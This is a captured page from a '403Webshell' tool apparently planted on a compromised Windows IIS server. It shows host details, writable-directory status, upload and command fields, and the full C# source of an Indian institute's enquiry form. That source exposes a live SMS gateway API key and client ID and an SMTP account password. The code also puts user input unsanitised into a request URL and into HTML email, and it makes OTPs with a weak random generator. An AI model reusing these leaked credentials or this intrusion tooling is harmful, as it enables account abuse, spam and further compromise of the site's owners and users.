403Webshell
Server IP : 104.21.93.206  /  Your IP : 108.162.241.225
Web Server : Microsoft-IIS/10.0
System : Windows NT WAVE 10.0 build 20348 (Windows Server 2016) AMD64
User : IWPD_458(indias) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in//index.aspx.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using System.Net.Mail;
using System.Net;
using System.IO;
using System.Text;

public partial class index : System.Web.UI.Page
{
    SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["con"].ConnectionString);
    protected void Page_Load(object sender, EventArgs e)
    {
        //if (Session.IsNewSession)
        //    myExtender.Show();

        //else
        //    myExtender.Hide();

        if (!IsPostBack)
        {
            Getdatafrom();
            Getyoutube();
            getimage();
            getslider();
        }
    }

    private void getimage()
    {
        SqlCommand cmd = new SqlCommand ("Select * from tbl_shining order By ID DESC", con);
        SqlDataAdapter DA = new SqlDataAdapter(cmd);
        DataTable Dt = new DataTable();
        DA.Fill(Dt);
        if(Dt.Rows.Count>0)
        {
            data1.DataSource = Dt;
            data1.DataBind();


        }
    }
    private void getslider()
    {
        SqlCommand cmd = new SqlCommand ("Select * from tbl_slider order By ID DESC", con);
        SqlDataAdapter DA = new SqlDataAdapter(cmd);
        DataTable Dt = new DataTable();
        DA.Fill(Dt);
        if(Dt.Rows.Count>0)
        {
            DataList3.DataSource = Dt;
            DataList3.DataBind();


        }
    }

    private void Getyoutube()
    {
        SqlCommand cmd = new SqlCommand("Select * from tbl_youtube Order By ID Desc", con);
        SqlDataAdapter DA = new SqlDataAdapter(cmd);
        DataTable Dt = new DataTable();
        DA.Fill(Dt);
        if (Dt.Rows.Count > 0)
        {
            DataList1.DataSource = Dt;
            DataList1.DataBind();
        }
    }

    private void Getdatafrom()
    {
        SqlCommand cmd = new SqlCommand("Select * from Latest_news Order By ID Desc", con);
        SqlDataAdapter DA = new SqlDataAdapter(cmd);
        DataTable Dt = new DataTable();
        DA.Fill(Dt);
        if(Dt.Rows.Count>0)
        {
            DataList2.DataSource=Dt;
            DataList2.DataBind();
        }
    }

    protected void btnsubmit_Click(object sender, EventArgs e)
    {
        //try
        //{
            //For generating OTP
            Random r = new Random();
            string OTP = r.Next(1000, 9999).ToString();
            //Diffrent
            string result = "";
            WebRequest request = null;
            HttpWebResponse response = null;

        //Send message

        //ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        WebClient webClient = new WebClient();
        webClient.Headers.Add("user-agent", "Only a test!");
     

        string Message =OTP;

        String url= "http://103.110.127.128/api/v2/SendSMS?ApiKey=ttjShdmn5Qzx2rTwqKS3GMbH0aDw+/I00hJ4puxdF1Y=&ClientId=4f5ed4bf-9602-4f99-a949-b74f12919ef8&SenderId=PIOMSC&Message=Dear Candidate, Your Course enquiry OTP code is - "+Message+" Prem Institute&MobileNumbers="+TextBox2.Text+"&Is_Unicode=FALSE&Is_Flash=FALSE&DataCoding=FALSE";


        WebRequest webRequest = HttpWebRequest.Create(url);
        webRequest.Proxy.Credentials = CredentialCache.DefaultCredentials;

        HttpWebResponse httpWebResponse = (HttpWebResponse)webRequest.GetResponse();
        Stream s = (Stream)httpWebResponse.GetResponseStream();
        StreamReader readStream = new StreamReader(s);
        string dataString = readStream.ReadToEnd();
        httpWebResponse.Close();
        s.Close();
        readStream.Close();

            Session["OTP"] = OTP;
            form.Visible = false;
            form2.Visible = false;
            formverify.Visible = true;
            Button1.Visible = false;
              

    }

    protected void btnsubmit2_Click(object sender, EventArgs e)
    {
        if (Session["OTP"].ToString() == txtotp.Text)
        {
            lblotpinvalid.Text = "You have enter correct OTP.";
            Session["OTP"] = null;



            SqlCommand cmd = new SqlCommand("SP_registration", con);
            cmd.CommandType = CommandType.StoredProcedure;
            cmd.Parameters.Add("@name", SqlDbType.NVarChar).Value = txtname.Text;
            cmd.Parameters.Add("@father_name", SqlDbType.NVarChar).Value = TextBox1.Text;
            cmd.Parameters.Add("@mobile", SqlDbType.NVarChar).Value = TextBox2.Text;
            cmd.Parameters.Add("@email", SqlDbType.NVarChar).Value = TextBox3.Text;
            cmd.Parameters.Add("@remarks", SqlDbType.NVarChar).Value = remarks.Text;
            cmd.Parameters.Add("@Address", SqlDbType.NVarChar).Value = txtaddress.Text;
            con.Open();
            int RA = cmd.ExecuteNonQuery();
            con.Close();
            if (RA > 0)
            {
                lblsucess.Visible = true;
                txtotp.Visible = false;
                btnsubmit2.Visible = false;
                lblotp.Visible = false;
            }


            else
            {
                lblfailed.Visible = true;
            }
            //


            //
            System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls ;
            MailMessage mail = new MailMessage();

            mail.From = new MailAddress("[email protected]"); //IMPORTANT: This must be same as your smtp authentication address.
            mail.To.Add("[email protected]");
            mail.IsBodyHtml = true;
            //set the content 
            mail.Subject = "Enquiry from " + txtname.Text;
            mail.Body = "Enquiry Request from " + txtname.Text + " <br> Name : " + txtname.Text + "<br> Father Name : " + TextBox1.Text + "<br> Mobile : " + TextBox2.Text + "<br> Email : " + TextBox3.Text + "<br> Remarks : " + remarks.Text + "<br> Address : " + txtaddress.Text;


            //send the message 
            SmtpClient smtp = new SmtpClient("pimsharyana.in", 587 );

            //IMPORANT:  Your smtp login email MUST be same as your FROM address. 
            NetworkCredential Credentials = new NetworkCredential("[email protected]", "#b4E2d57f");
            smtp.Credentials = Credentials;

           

            try
            {

                smtp.Send(mail);

            }
            catch (Exception ex)
            {
                Exception ex2 = ex;
                string errorMessage = string.Empty;
                while (ex2 != null)
                {
                    errorMessage += ex2.ToString();
                    ex2 = ex2.InnerException;
                }
                //Page.RegisterStartupScript("UserMsg", "<script>alert('Sending Failed...');if(alert){ window.location='SendMail.aspx';}</script>");
            }

            //Mail 2
            System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls;
            MailMessage mail2 = new MailMessage();

            mail2.From = new MailAddress("[email protected]"); //IMPORTANT: This must be same as your smtp authentication address.
            mail2.To.Add(TextBox3.Text);
            mail2.IsBodyHtml = true;
            //set the content 
            mail2.Subject = "Reply from PIMS";
            mail2.Body = "Thanks for contact Us! We will contact you As soon as Possible";


            //send the message 
            SmtpClient smtp2 = new SmtpClient("pimsharyana.in", 587 );

            //IMPORANT:  Your smtp login email MUST be same as your FROM address. 
            NetworkCredential Credentials2 = new NetworkCredential("[email protected]", "#b4E2d57f");
            smtp2.Credentials = Credentials2;



            try
            {
                smtp2.Send(mail2);

            }
            catch (Exception ex)
            {
                Exception ex2 = ex;
                string errorMessage = string.Empty;
                while (ex2 != null)
                {
                    errorMessage += ex2.ToString();
                    ex2 = ex2.InnerException;
                }
                //Page.RegisterStartupScript("UserMsg", "<script>alert('Sending Failed...');if(alert){ window.location='SendMail.aspx';}</script>");
            }
        }
        else
        {
            lblotpinvalid.Text = "Pleae enter correct OTP.";
        }
    }

    protected void Button1_Click(object sender, EventArgs e)
    {
        ScriptManager.RegisterStartupScript(Page, Page.GetType(), "myModal", "$(document).ready(function () {$('#myModal').modal();});", true);

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit